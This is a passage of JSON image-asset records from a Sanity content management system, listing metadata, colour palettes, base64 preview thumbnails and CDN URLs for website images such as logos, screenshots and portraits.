PTncAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c244e","foreground":"#fff","population":6.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#43200d","foreground":"#fff","population":2.28,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c244e","foreground":"#fff","population":6.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c0c7","foreground":"#000","population":5.63,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edad96","foreground":"#000","population":0.74,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad7965","foreground":"#fff","population":5.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#db904c","foreground":"#000","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"matt-stratton.png","path":"images/sczeoy4w/production/1f217c4121262291d154fa9838bb3a155d377366-600x800.png","sha1hash":"1f217c4121262291d154fa9838bb3a155d377366","size":823728,"uploadId":"Jnp9CTb8imnzPta0BOkh7hUr0CffZEP7","url":"https://cdn.sanity.io/images/sczeoy4w/production/1f217c4121262291d154fa9838bb3a155d377366-600x800.png"} {"_createdAt":"2023-05-24T12:44:01Z","_id":"image-530475f5980c061e71bc3d314a2eb7079709abbe-895x358-jpg","_rev":"Bg5HPBiLdZofLBzDDlcEEh","_type":"sanity.imageAsset","_updatedAt":"2023-05-24T12:44:01Z","assetId":"530475f5980c061e71bc3d314a2eb7079709abbe","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DERyvno3~qxu-;?bWUj[j[WU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5,"height":358,"width":895},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAQGCP/EACEQAAEDBAEFAAAAAAAAAAAAAAEAAgMEBRESIQYTFkFR/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AND3ryQVxFpFEaUt4MudgVBjd1oJB3I7YWe8EoiC2wl7omGRur8cgfUREH//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c2c3c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c0610","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c9a85","foreground":"#fff","population":0.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#86bc9c","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#95e3b2","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c9a85","foreground":"#fff","population":0.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#32c268","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Techstars_Logo_Primary_Black.jpg","path":"images/sczeoy4w/production/530475f5980c061e71bc3d314a2eb7079709abbe-895x358.jpg","sha1hash":"530475f5980c061e71bc3d314a2eb7079709abbe","size":27254,"uploadId":"7TdI6ZypYXt8EaCzuiWwAk6qjtmTUIjU","url":"https://cdn.sanity.io/images/sczeoy4w/production/530475f5980c061e71bc3d314a2eb7079709abbe-895x358.jpg"} {"_createdAt":"2023-04-11T10:43:11Z","_id":"image-fd86587ec9cc875966a32b0febf29eb7a095557a-2872x1438-png","_rev":"gO4PimG2K28q9ZOw6DhXQ7","_type":"sanity.imageAsset","_updatedAt":"2023-04-11T10:44:23Z","altText":"Aiven community forum for free database users","assetId":"fd86587ec9cc875966a32b0febf29eb7a095557a","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9972183588317107,"height":1438,"width":2872},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABtklEQVQokVWS23KcMAyGef9X6hO090maZDs5bAEbmwWDD/KB/TvSbmbSi2+QLemXLNFlO8EZA+ccYoxIKX2DhJwLWjtwHNdvHDhqQ7tsSL8eEH78RD6d0ZFz8G6D3wNiSNi2HXqyGJWG1gZKT4KeDKbJYjIzjJkxz4vkZB9Bg0V6H0GzQ5dCFKHoE5JPEvh6esPj0wueX054+v0q9sPjs8Bn5vTnDZO5IKaMlDJiJMSY0fEhRQJFQooZbvMYlUHfK4zjhEHQ6AclsM0obbC6HYmyEBMLErqcK4iKzIltLuBDQuCu4xc8ywzimFIlTmC7cF4G0c3f8QUnsWCtTZax7x4h8IIIxBBJYqkVpdzg2NbafVmHfJmOhViQg1ot8NsKay2WZYX3AYmLURY/d7I7h3VdsXsvhVpruF5vm2/HgY5ylm5KKWg5YVsMtNIw9oLVbdh9kIK1NZScMU8aY9/Dzhd5Ced9CXLXXYiEdd3u3QQsFws1avk9nNulGM+Hn1MywaoBfz8/oNSEdXXi+0+QF7CsmyS7PUDbC879gGFQWBZ3n2VCrRWZEowacP54h1JaBHlk3wX/AZfp/8uqMyAtAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414246","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ad2848","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#db2552","foreground":"#fff","population":0.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8bdc8","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc749c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a8170","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#db2552","foreground":"#fff","population":0.34,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Community forum.png","path":"images/sczeoy4w/production/fd86587ec9cc875966a32b0febf29eb7a095557a-2872x1438.png","sha1hash":"fd86587ec9cc875966a32b0febf29eb7a095557a","size":517353,"title":null,"uploadId":"GB9UXpmkYD9gtQNQFkWHgYXCsD1JhEmm","url":"https://cdn.sanity.io/images/sczeoy4w/production/fd86587ec9cc875966a32b0febf29eb7a095557a-2872x1438.png"} {"_createdAt":"2023-06-13T11:04:52Z","_id":"image-c966899545d537b871d5d524dbb31f50f9de0876-512x366-png","_rev":"LlMsTfwmVHcho3tE0uzj19","_type":"sanity.imageAsset","_updatedAt":"2023-06-13T11:04:52Z","assetId":"c966899545d537b871d5d524dbb31f50f9de0876","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VRRpRUR*R%ozWUEKs;o2azoM%3ofayayay~EWUWUj[WU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3989071038251366,"height":366,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAABv0lEQVQokY2Qy3PTMBCH/f+fGdK0MxxJUrjQJEwv4DQHDrQDh9LYDsWmJHEgcV62tCutHmGkhJIyvHa+0fws6ZPkDTZMMtQgDAoDh8iHn8Jw1Bw1Q82AGAgUMlhXVHJdcl2BrsBUYBlYhoahdRn3VGBLt+pgqFEqSSoYLvIP8y/Xs883s7uoGEXLcbRyxMtJvPIsJ9HKMXBh7CfHt5t8XM2C00+9etR9dPOiNjg7Gpwdxe3HSbsWt4/jzkny8tjRrSfdWtJx80m77scnw/PO3ZvgfHT5LO030rCZ9ppp2MzCRhY20rCVXZxm/VZ20cp6razXSHtPU7fkNqSvn2f9V5N3waia52yR80VeFTkrcl647Jny5VfYM+Ue8NmNqwI3QVpOS+KklECBKIQQRCSJhBSklLHmF+yPMtYEV8XHuVhLRQjIOecA7gApAFFKud+9PWS7C06+LIZzsSYiQHAy5/76B/L2d2Wt9TKuSSlEPJTRy7sX/lF+WyRepnvZvVpKRCQiY/568/vFbYEb1zAhAAARnUq069w/5FH5rRSMlNo1mYiULyLSWhtf9x3+2WpjiFTAkLvf847+75JSlhX/DnLtDtf1xzYUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c8a5c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b9f44","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#18a658","foreground":"#fff","population":2.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8a6a1","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bf1c0","foreground":"#000","population":1.72,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5ab281","foreground":"#fff","population":1.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#18a658","foreground":"#fff","population":2.99,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Hookdeck Screenshot.png","path":"images/sczeoy4w/production/c966899545d537b871d5d524dbb31f50f9de0876-512x366.png","sha1hash":"c966899545d537b871d5d524dbb31f50f9de0876","size":45468,"uploadId":"ZB5KcbepcviyOLZ20Ji4AvJ9ympB1G4o","url":"https://cdn.sanity.io/images/sczeoy4w/production/c966899545d537b871d5d524dbb31f50f9de0876-512x366.png"} {"_createdAt":"2023-06-07T09:07:28Z","_id":"image-5f41961527e8b7ab47ddfc6e8d66e86c1c12d5ad-2500x1308-png","_rev":"rV9BZDYEBgQp95tIyV7FVf","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T09:07:28Z","assetId":"5f41961527e8b7ab47ddfc6e8d66e86c1c12d5ad","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M86+9u?vIAMyoL_N%MIURjkCIUM_ofxuj@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAABz0lEQVQokW2S72/SQBzGr6VXRsycC7phZnRk73pX6JSUCGRrLOyHQsJM0GRza9L1rldgINUswJtl0RmVhoEjGv1r9ejINDH5vLhLvk+e5/neAUllC3rrXs5f4nQW9Xb86dtE4d1ynl+Xc/7KxvtEwV/U23LaAwoNERQqIgpiWj1Z6umvPhlWsHE4yNQ+ZmoXhTdfNw8Hm0cD4ygwrEFu/7NSPruttwR0rYwgImMH3FpvKOWzbTKqnnyv1Cc7dFQ8vuTYwxfsqlKfGFaQqp4/ME5jWkOY2ULszKkOmH/czNQuap2fr/1fe60flcZk1x0Xj0emPdyl420yWn/5YSnvR1VPnMrANLCMnbnQOV09f86+lb2rHTo2rMCwAtO+NO2haQ/zB19WzW5Mq4dKcYaECMQESCqL5zqrxd7aVn9tq//wWfeR2U2W+slSL1nsrRin80+aInLDtBKiMiISIiIivD9vj12ImayyqOrJHH4OgZiFSp5WoRBROPWUMOHbFhUaxTSWYnKKzwlTh7+5fh7kRpALEY1wCMQOVAmIInJXo/ezJ3eybZj2bqb/wRUQkzCD2A0NuF4lQEYkrpFEtrmgt2Hq5hv8T+xKmAqz/n9i/wY6X5Yka+PmtAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345075","foreground":"#fff","population":0.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":65.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":65.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4acd4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bbd8","foreground":"#000","population":0.53,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#627695","foreground":"#fff","population":1.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c5cb4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"create_a_spring_boot_application_with_a_mysql_backend.png","path":"images/sczeoy4w/production/5f41961527e8b7ab47ddfc6e8d66e86c1c12d5ad-2500x1308.png","sha1hash":"5f41961527e8b7ab47ddfc6e8d66e86c1c12d5ad","size":112889,"uploadId":"hiLFTJmKBp064TzUOuULyloZ9HSrlvBH","url":"https://cdn.sanity.io/images/sczeoy4w/production/5f41961527e8b7ab47ddfc6e8d66e86c1c12d5ad-2500x1308.png"} {"_createdAt":"2023-06-07T09:08:51Z","_id":"image-cba8ed8b869107dd7cad89706f8e32b88c234192-1700x1146-png","_rev":"dsxJlHxlnt5nZt5n1tptPS","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T09:08:51Z","assetId":"cba8ed8b869107dd7cad89706f8e32b88c234192","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4834205933682374,"height":1146,"width":1700},"exif":{"PixelXDimension":1700,"PixelYDimension":1146,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAACJElEQVQ4jZWUXW/TMBhG+///BldoQtwMgcQ2NIGqwTbtC2msTTu2dmmTOv6M7fRrBzmlg92AdnEUx0qOn9evk05jHV4ZrNJY61gsFjw+Pr6c9YbOykeWztP4QNM0rFarF4nWcc5yIlhkYxbZiM56uWS9WLJaLlvZM9Lcf1goS7zo4Q+O8fvf6Mznc0IILWm8va+NxWtD1IagDEFqnNQYbdDGYIzBWouTCjvKcdk9dXZPxzmHEIKqqqjrmuAcOh8z698gBreIuxxxP6Ea5YjxA2WeU0wmlNMJlRBPYmNte+2kiaIoWtLYz0rM2Vdmnz5QdLuMz36Qf+9T9XroQQ817KMGPfSwj80fcNrinMcYi9ZmI0wJlVKbhPkI+/kjYvcN04M9pkfHlCenqPNTzOUf3OUJrn+DLjXaRLS2raOTYmqtqWtPjJE4vsPu7zJ7+5rJ4ReKqxtkL8MO+tTDLb0WPx7hlMW60KaTMgnTnrXCeiPMR7j9XeTOK6YHhzxcDiizHF1UWGmptSVYS3SWmN4JAe/9X0Jr24ak0kMSzgrc0SH63Q5y7z2i26W6uEKMZpSzBqkafGiITUOMidiGUUojU8nbpqR9TCvF1LXbDPX9HHN9Rd2/xv8cYkqFVBFjIiHETTW/ScKU7ilhEpZlSTpCqYRaKawQ1MZsykoLtWf1uWhLcghRbRKmVKk7Usp2pSY9lBpUe5rY0Mzn7Sf5L9I/IKVL5/AXUcraAV/662QAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34343c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c02b1a","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e6200c","foreground":"#fff","population":1.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cc9c9b","foreground":"#000","population":0.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6e9d","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c746c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6200c","foreground":"#fff","population":1.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"connection-information.png","path":"images/sczeoy4w/production/cba8ed8b869107dd7cad89706f8e32b88c234192-1700x1146.png","sha1hash":"cba8ed8b869107dd7cad89706f8e32b88c234192","size":159952,"uploadId":"TkOl7TmOJuoZITP0s8GvoLy6MkVMC2ju","url":"https://cdn.sanity.io/images/sczeoy4w/production/cba8ed8b869107dd7cad89706f8e32b88c234192-1700x1146.png"} {"_createdAt":"2023-06-13T12:25:54Z","_id":"image-f38ef1d5d20c6ec240ec4a582a79a4de624a2728-883x564-png","_rev":"tW7kMBSHIbCIaN9dzJHUF2","_type":"sanity.imageAsset","_updatedAt":"2023-06-13T12:25:54Z","assetId":"f38ef1d5d20c6ec240ec4a582a79a4de624a2728","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VIRWI~NFR%tQS00wt7oMWCoMIqofjuWCju^-RjbFj[bF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5656028368794326,"height":564,"width":883},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAABsUlEQVQ4jZWSi26bMBSGef83SZMsYdNyzyNsk6ZtaoCsXcltIRCMAccG/FfHJC29bN0Qn87hh/NhI6yQVYiS0nBMqK9w5PoJUVLXOK1pZkeuwVINITWKQsO6OfzGz2BruD3s4EcB1nGIFQuxig811LMQ63Ml/Ea2TkLseIggDWH1nCneLcboLsam2s4E77057OUMPW+CvjuB7c1gL+foe1P0iOUU/WWd2d7M5PT8B28Oq+uM0DEM0V4M0HaG6LpjdNwRrpyBoe0O0XGHpm9dMoeykamtxQCtxUdcXQ9g3UQ+7tgGPtviV7zGXbzBKtkZfJM3rpPtI6yuK17nNEfz1obvkSsBpQoIISByAXmSUEpBSWX6QhXQlUZVVQbTl5VBaw3Qeb5vfQ2ucRQMUkqkaYqEc3DOkee5eUGaZTidTrVMn4Vav0pFwk/7bwhF/ChMEkOWZUZKGYn/JtJN4ef9d0SvCvMH4WWFfxLR8UJIQ7RVxhhYY4Wcv71CNIVfgh+1UEozTLL/3fIToRvdgglutkyDJCFoxZdMSvXv3/CQREjzzPwmZVk+/BrPeUtGs0VR4B76zdcnCCtqUAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c844c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c944c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#35a655","foreground":"#fff","population":3.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6a09e","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a6efbe","foreground":"#000","population":0.55,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#65a976","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#35a655","foreground":"#fff","population":3.99,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Hookdeck Clickhouse Screenshot.png","path":"images/sczeoy4w/production/f38ef1d5d20c6ec240ec4a582a79a4de624a2728-883x564.png","sha1hash":"f38ef1d5d20c6ec240ec4a582a79a4de624a2728","size":98002,"uploadId":"cINGwbINuynSAOtfo8RG4ZpQLK6VCrgL","url":"https://cdn.sanity.io/images/sczeoy4w/production/f38ef1d5d20c6ec240ec4a582a79a4de624a2728-883x564.png"} {"_createdAt":"2023-06-06T14:37:49Z","_id":"image-c554ee2383d2012e5d80c47bcdf5daa66ad0c02a-1178x773-png","_rev":"dsxJlHxlnt5nZt5n1rUgB1","_type":"sanity.imageAsset","_updatedAt":"2023-06-06T14:37:49Z","assetId":"c554ee2383d2012e5d80c47bcdf5daa66ad0c02a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VE9@V7%L019a%L~9xZ4:IVxuoeofjZfQWBERWB-pt6NG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5239327296248384,"height":773,"width":1178},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAACg0lEQVQ4jY1STUuVQRSee70fminkRwla0SVDo/y4oVJzLhlqZFlWUtKcviDnSFARRLSJWoTLFu0DQWekRQRtDWdIgiKdgYS2rfohcd73XtsUNfBwhvM853nPmfMKUT3R2wTB2brobXP0til6W4jetkdnD0ZvO6JPuFTnjQh8d0b88fwWJiZsMBC9LUVv+6Kzw9HZfdHbXFWXqZlGb/9hyB062x28nYzeTkRvT0VnB6O3LWwYnMlHb+r+z9CxaSJqi96OB2dngzfTwZly9Ka1+gxN0ZvcXw0BKcH3T29EcKkgOFMIzvQHZ2aDMxeDMwPBmc7gTEtwpiE4k9laXxEba8vi8+pSUi9RC0CdGkokUUESD589FfUj02Jx8ZXYdKYjODManBnZdGb3xtryji8flgqr719nx2/fFUNX7wiOUuntphhCKhKgKCEYojwlnrx4Ln58fZv/9nGlbWt9ZdfP+C678HJBXJh/IG49eixGb8yL49fm0maU3m4qqQekrFRUBwykPCDVS6V3Vq5T/eTcveIU3S+O3pzPn1C6WEFqhBSs4dgAqHMSdVEqXQTUWXZtByRGGyDtlUr3ANIxQDoslT4kle6WSu8HJL6XAaksle4F1INVTadkDqnEH+PHPApI/YDUC4pGAGlCKn0ZkM4C0jlAOgNIUio9DkgzEvUMIE0C0iWJdBqQeiTqPo6A1MQjH5Go2YiTZaloTCq6wkUyMdVcPAxIFVB0HjDBGCBNAdJJQOqQSM1sBkg5AUq3gKIuqWgPILVKRSVQNMRjgNIHABO0Q8ozx6N1gdIlHheQCulidLKY6rp1BpTOVFfPi2mUShc4L5N89ddQlOpULU+1mhovfgEBp2spI2+aBQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#39565f","foreground":"#fff","population":2.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#143c44","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#39565f","foreground":"#fff","population":2.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8bda8","foreground":"#000","population":1.66,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcc6b2","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#878073","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#39adc5","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"43ac69d81381-liquido_logo.png","path":"images/sczeoy4w/production/c554ee2383d2012e5d80c47bcdf5daa66ad0c02a-1178x773.png","sha1hash":"c554ee2383d2012e5d80c47bcdf5daa66ad0c02a","size":24828,"uploadId":"TXc8dVtNXXlVuKt6M305uh3P63mxlOAn","url":"https://cdn.sanity.io/images/sczeoy4w/production/c554ee2383d2012e5d80c47bcdf5daa66ad0c02a-1178x773.png"} {"_createdAt":"2023-05-31T08:22:59Z","_id":"image-bb5cba3ee0a050264c85fcd7712ab8814e58a1b4-3295x1724-png","_rev":"Bg5HPBiLdZofLBzDEmeCjy","_type":"sanity.imageAsset","_updatedAt":"2023-05-31T08:22:59Z","assetId":"bb5cba3ee0a050264c85fcd7712ab8814e58a1b4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M37Ky6^VI9^%-OyGIpNENIIq00IU%1E3Io","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9112529002320187,"height":1724,"width":3295},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAB5LAAAeSwG9LhMsAAACb0lEQVQokTWSa1MSARRA+QdNvgh2eS3sA5ZdHoolrKmAr6xGx9eUTVY+00CT1BBBQMFJJ83G+runAfLDmTv3y5l7Z47tkX2eHnGJPvcbuoS3PHa+o0v4QLdrnV73Z/q8Oey+rzzxH+IMFBGUchunXMQRKOKUT3G29w62LucCXnUVNbKJX9/Aq23iC+0g6XkCRgE5coQSPUGLn6EnztETTYIDTbR4nWB/iwZy9AJ3sIqgnGHrdS2jx7dIjRUYzhxjZU6wsqdY2TOsbJ3hiQYjkz/IvLxhavae8dd/GHvxm9HpW9Izd6Rn/pLM3hMauMITamJrvaua6ySsPZJjh1iZIsl0iWS6QjJdw8o2SGUuSWWvGJm+5fnkL5KZnwylr0iN3zA8ed8WmkM3+Izrzss+7T16bAMtso0a2UUx88jmPkqkgBI9RokWCfeXMRJ11Fgdv1FGCpeQwmX8Zh1/5AKf0cAdusRmdy8zNrrL4uw3nqVyKOYOiplrC73BfQR5Hz3+nYW5C5YWrhiwmqixKnLkFE+ohEsrI6oVBLWKqJ1jE/0rrCwccbxzztTUEcFYjmBsj1C8QMA4QFS+kkiWONi+5vDLHempa8yhJsZgHSVaxW/U8IbruLT/wj5xEevpGq8m9ogP7uJWNhACm4jyDqKcwxnYQza+kc6UyGbL6P1lfOEKUriCV29RwxOqIapVBLWGrds+h+KZxwytohpbCIE1usWPnQ49Dx3mcUg5HFKeJ9IBjsBJuz1BqSBqD7IqolrH1mWfxSvOIcsrSMF1HNKnjlBcp8e9Ta/nC33efHu2sEuFdsyt5lqS1lUdWQ1XsME/aFFoPUPJoRwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353970","foreground":"#fff","population":0.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04176b","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9fa6d1","foreground":"#000","population":1.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fa6d1","foreground":"#000","population":1.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eac8b6","foreground":"#000","population":0.33,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a87460","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba4447","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"BYOC_webinar_1200x628_social_media.png","path":"images/sczeoy4w/production/bb5cba3ee0a050264c85fcd7712ab8814e58a1b4-3295x1724.png","sha1hash":"bb5cba3ee0a050264c85fcd7712ab8814e58a1b4","size":679043,"uploadId":"Dm8KtHKq6x3LStnUpySklrr5wuRjPqdG","url":"https://cdn.sanity.io/images/sczeoy4w/production/bb5cba3ee0a050264c85fcd7712ab8814e58a1b4-3295x1724.png"} {"_createdAt":"2023-05-31T08:30:40Z","_id":"image-37f3e688ab11903f54b659767d72903fcccd0a3b-503x518-png","_rev":"rV9BZDYEBgQp95tIygvKYd","_type":"sanity.imageAsset","_updatedAt":"2023-06-09T13:29:14Z","altText":"Mikko Röntynen portrait","assetId":"37f3e688ab11903f54b659767d72903fcccd0a3b","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eaRMJIt7_NRPRO_MoyMyofRjR:V@Mwbbx]%fayjZt7RjoJbGRkafoL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.971042471042471,"height":518,"width":503},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAAA7DAAAOwwHHb6hkAAADGUlEQVQ4ja2T61MaZxSH+Z/7ofnQzuSDnU6nxcS0BmMCxqhA5CZiuAgCLtcFFlbCVEwRNVEhJVKgchFYngxUo41Q/dAzs3vm3XnP8/7e356j4n8O1biPg8Fg+BrlSc+XfXcBvy64D3RwAzwWeDNPjAlKVXcp7PW6tJvnNGpVamcV/q7X6HW7Ew9W/RdwWFgpnbC3k+KtKCAJXuSYwOnRARedzq3r3wkcqsklI4TsekSHgfjaMtvml2SETc4+llAU5VbNeA8vN1Q+loi67QSXNGTXXpHf0COZtMQdr3lfyNPr9e4JvMzl4/cEba/xPJtGXNKQNswj6GbwG3QUd3Mjf+8NVPp9Tg/2Ecx6tjRqos8fIeqe4Nf8TGBFy4fC3mjPMCZ6ePOkfr9P6WCf5JqRhPYx2YUn5PVz5Fae8rvLTK10PL5tBmMa+MrDarnEzqYDaXF2BCuatezb